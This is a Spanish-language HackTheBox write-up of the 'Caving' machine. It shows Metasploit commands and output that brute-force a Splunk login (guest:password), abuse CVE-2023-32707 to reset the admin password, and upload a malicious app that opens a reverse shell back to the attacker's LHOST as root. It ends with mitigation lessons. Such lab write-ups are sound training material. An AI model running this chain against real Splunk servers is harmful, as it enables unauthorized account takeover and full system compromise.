CAVING

// Splunk CVE-2023-32707: guest:password → edit_user → account takeover → RCE como root

● MUY FÁCIL HACKTHEBOX LINUX SPLUNK 9.0.4 CVE-2023-32707 RCE · ROOT 📅 Octubre 2026 · Por Brandeiks

Reconocimiento

1
CONTEXTO Y RESUMEN (TL;DR)

Caving es una máquina Linux de dificultad Very Easy que gira en torno a un Splunk mal configurado. Credenciales por defecto y una vulnerabilidad de autorización (CVE-2023-32707) se combinan para llevarnos de invitado anónimo a root en menos de diez comandos:

Recon → credenciales débiles (guest:password) → enumeración de usuarios
→ CVE-2023-32707 (account takeover) → app maliciosa → RCE como root

// LAS IPs CAMBIAN EN CADA DESPLIEGUE

La IP del objetivo (aquí 10.129.5.241) y tu IP de VPN / LHOST (aquí 10.10.16.7, interfaz tun0) cambian en cada sesión. Compruébalas con ip a y en el panel de HTB, y reemplázalas antes de copiar cualquier comando — un LHOST incorrecto significa que la reverse shell nunca llega.

2
ESCANEO DE PUERTOS CON NMAP

Empezamos por saber qué corre en el objetivo. Con -sV pedimos también la versión de cada servicio, clave para buscar vulnerabilidades conocidas.

NMAP
$ nmap -sV 10.129.5.241
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
8000/tcp open http Splunkd httpd
8089/tcp open ssl/http Splunkd httpd

El 22 es SSH (inútil sin credenciales). Los 8000 (interfaz web) y 8089 (API REST de administración, splunkd) son de Splunk, software empresarial de análisis de logs con mucho historial de malas configuraciones y escaladas de privilegios. Verlo expuesto es una señal de alerta.

Login: por qué Hydra falla y usamos Metasploit

3
EL PROBLEMA CON HYDRA

El instinto es probar credenciales por defecto a mano y, si fallan, automatizar con Hydra. Pero el login de Splunk usa un token anti-CSRF (cval) que cambia en cada sesión y debe coincidir con una cookie: hay que pedir primero la página de login para obtener el token y enviarlo junto a la cookie en cada intento. Además, Hydra v9.6 tiene un bug conocido al combinar la condición de fallo con headers personalizados. En vez de pelear con eso, usamos la herramienta hecha para el trabajo.

4
MÓDULO METASPLOIT splunk_web_login

El módulo auxiliary/scanner/http/splunk_web_login ya sabe manejar el token CSRF y las cookies automáticamente en cada intento. Le damos listas de usuarios y contraseñas comunes de SecLists y que pare al primer acierto:

msf > use auxiliary/scanner/http/splunk_web_login
msf > set RHOSTS 10.129.5.241
msf > set RPORT 8000
msf > set SSL false
msf > set USER_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt
msf > set PASS_FILE /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-100.txt
msf > set STOP_ON_SUCCESS true
msf > run
 
[+] SUCCESSFUL LOGIN. 'guest' : 'password'

// PRIMERA PUERTA: guest:password

Usuario guest, contraseña password. En el mundo real, las contraseñas débiles siguen siendo la causa número uno de brechas. A veces la herramienta «obvia» (Hydra) no es la correcta: reconocer cuándo cambiar ahorra mucho tiempo de debugging.

Enumeración de usuarios

5
SETTINGS → USERS

Con guest:password entramos a la interfaz web (http://10.129.5.241:8000) y vamos a Settings → Users. Hay tres cuentas:

USUARIO NOMBRE COMPLETO ROL
guest—user
whisssssp3rAura Katikususer
woodenkAdministratoradmin

woodenk es la cuenta con privilegios de administrador — nuestro siguiente objetivo. Normalmente necesitaríamos su contraseña… salvo por la CVE que viene a continuación.

La vulnerabilidad: CVE-2023-32707

Splunk (versiones anteriores a 9.0.5) tiene un fallo de control de acceso:

Cualquier usuario cuyo rol tenga el permiso (capability) 'edit_user'
puede cambiar la contraseña de CUALQUIER OTRO usuario del sistema
—incluido admin— sin necesitar su contraseña actual.
 
Ocurre porque Splunk no verifica correctamente el ajuste 'grantableRoles'
que debería limitar a quién puedes editar.

// EN CRIOLLO

Es como si un empleado de soporte, que solo debería resetear contraseñas de usuarios normales, pudiera también resetear la del dueño de la empresa — por un descuido en el sistema de permisos. El usuario guest de esta máquina tenía el permiso edit_user mal asignado. Por eso funciona.

Explotación · De guest a root

6
EL MÓDULO QUE AUTOMATIZA LA CADENA

El módulo exploit/multi/http/splunk_privilege_escalation_cve_2023_32707 hace todo de una vez: cambia la contraseña de admin abusando de edit_user, inicia sesión con la nueva, sube una app maliciosa a Splunk (las apps admiten scripts que se ejecutan en el servidor — justo lo que se abusa) y entrega una shell.

msf > use exploit/multi/http/splunk_privilege_escalation_cve_2023_32707
msf > set RHOSTS 10.129.5.241
msf > set RPORT 8000
msf > set SSL false
msf > set USERNAME guest
msf > set PASSWORD password
msf > set TARGET_USER woodenk
msf > set LHOST 10.10.16.7
msf > run

// DOS IPs QUE AMBAS CAMBIAN

RHOSTS (10.129.5.241) es el objetivo del panel de HTB; LHOST (10.10.16.7) es TU IP de VPN (tun0, mírala con ip a). Un LHOST incorrecto = reverse shell que nunca llega. TARGET_USER woodenk es a quién le cambiamos la contraseña sin saberla.

7
LO QUE PASA AL EJECUTAR run
[+] SUCCESSFUL LOGIN. 'guest' : 'password'
[+] The target is vulnerable. User 'guest' has 'edit_user' capability
[*] Changing 'woodenk' password to rDnWgfZwcbsk
[+] Password of the user 'woodenk' has been changed to rDnWgfZwcbsk
[+] SUCCESSFUL LOGIN. 'woodenk' : 'rDnWgfZwcbsk'
[*] Command shell session 1 opened (10.10.16.7:4444 -> 10.129.5.241:43572)

En orden: se logueó como guest, confirmó el permiso edit_user, le cambió la contraseña a woodenk por una aleatoria, inició sesión como él (ya con rol admin), empaquetó y subió una app maliciosa, y esa app se ejecutó devolviendo una shell a nuestro listener.

8
POST-EXPLOTACIÓN Y FLAG

¿Con qué privilegios quedamos? Splunk corría directamente como root — un error grave de configuración. Apenas conseguimos RCE, ya teníamos las llaves del reino:

ROOT
$ whoami
root
$ find / -name root.txt 2>/dev/null
/root/root.txt
$ cat /root/root.txt
🚩 flag de root capturada

// FLAG · ROOT

whoami → root: máquina comprometida por completo. La flag de root se obtiene leyendo /root/root.txt. Como Splunk corría como root, el RCE equivalió directamente a control total, sin necesidad de escalada adicional.

// LECCIONES Y MITIGACIÓN

Cuatro descuidos encadenados: credenciales débiles (guest:password nunca debería existir), el permiso edit_user mal asignado a una cuenta de bajo nivel (principio de mínimo privilegio), Splunk sin parchear (< 9.0.5, afectado por CVE-2023-32707) y, sobre todo, el servicio corriendo como root. Si Splunk hubiera corrido como un usuario de servicio dedicado, el RCE no habría sido compromiso total inmediato — habría hecho falta una escalada adicional.

Referencia de Comandos

nmap
nmap -sV <ip>
Escaneo con detección de versión. Identifica SSH (22) y, sobre todo, Splunkd en 8000 (web) y 8089 (API REST), el objetivo real.
  • -sV — versión de cada servicio
  • -p- — todos los puertos si quieres ir más allá de los comunes
splunk_web_login (auxiliary)
use auxiliary/scanner/http/splunk_web_login
Módulo de Metasploit que ataca el login web de Splunk gestionando el token CSRF y las cookies, cosa que Hydra no hace bien. Encuentra guest:password.
  • RHOSTS / RPORT — IP y puerto (8000)
  • USER_FILE / PASS_FILE — wordlists de SecLists
  • STOP_ON_SUCCESS — parar al primer acierto
splunk_privilege_escalation (exploit)
use exploit/multi/http/splunk_privilege_escalation_cve_2023_32707
Automatiza toda la cadena: abusa de edit_user para cambiar la contraseña del admin, sube una app maliciosa y entrega una shell (RCE).
  • USERNAME / PASSWORD — guest:password (bajo privilegio)
  • TARGET_USER — el admin a secuestrar (woodenk)
  • LHOST — tu IP de VPN (tun0) para la reverse shell
Post-explotación
whoami ; find / -name root.txt 2>/dev/null ; cat /root/root.txt
Confirmar el usuario (root), localizar la flag y leerla. Splunk corría como root, así que no hizo falta escalada adicional.
  • whoami — usuario actual
  • find / -name root.txt 2>/dev/null — localiza la flag silenciando errores
  • ip a — ver tu LHOST (interfaz tun0) antes del exploit
9
SECUENCIA COMPLETA
RESUMEN
# 1. escanear -> Splunk en 8000/8089
$ nmap -sV 10.129.5.241
# 2. msf: fuerza bruta del login -> guest:password
msf > use auxiliary/scanner/http/splunk_web_login
# 3. msf: exploit CVE-2023-32707 (edit_user) -> app maliciosa -> shell
msf > use exploit/multi/http/splunk_privilege_escalation_cve_2023_32707
# 4. en la shell: whoami -> root -> cat /root/root.txt

Glosario

Splunk
Plataforma empresarial para buscar, monitorizar y analizar logs de servidores y aplicaciones. Expone una interfaz web (8000) y una API REST de administración (splunkd, 8089). Permite instalar apps con scripts que corren en el servidor, lo que la convierte en objetivo habitual de RCE.
CVE-2023-32707
Fallo de autorización en Splunk < 9.0.5: un usuario con la capability edit_user puede cambiar la contraseña de cualquier otro usuario (incluido admin) sin conocer la actual, porque no se valida bien grantableRoles. Permite account takeover del administrador.
Capability edit_user
Permiso de Splunk que habilita gestionar usuarios. Debería estar reservado a administradores; asignado a una cuenta de bajo privilegio (como guest aquí) y combinado con la CVE, se convierte en la llave para secuestrar la cuenta admin.
Token anti-CSRF (cval)
Valor único por sesión que un formulario web exige para evitar peticiones falsificadas (CSRF). El login de Splunk lo usa (cval) ligado a una cookie: por eso Hydra «genérica» falla y hay que pedir la página antes de cada intento — lo que el módulo de Metasploit hace solo.
Metasploit: auxiliary vs exploit
En Metasploit, los módulos auxiliary hacen tareas sin payload (escaneo, fuerza bruta de login) y los exploit aprovechan una vulnerabilidad para ejecutar código y abrir una sesión. Aquí usamos uno de cada: brute-force y, luego, RCE.
Reverse shell · LHOST / RHOST
En una reverse shell es la víctima quien se conecta de vuelta al atacante (mejor para saltar firewalls). RHOST es la IP del objetivo; LHOST la tuya (tun0), a donde llega la conexión. Un LHOST mal puesto = shell que nunca llega.
Account takeover
Toma de control de la cuenta de otro usuario. Aquí no se roba la contraseña del admin: se cambia abusando de edit_user, y luego se inicia sesión con la nueva. El resultado es el mismo — control de la cuenta privilegiada.
Servicio corriendo como root
Mala práctica de ejecutar un servicio con el usuario root en lugar de una cuenta dedicada de bajo privilegio. Si un atacante logra RCE a través de la app, hereda directamente el control total del sistema, sin el «colchón» de una escalada adicional.

// RELACIONADOS POR ETIQUETAS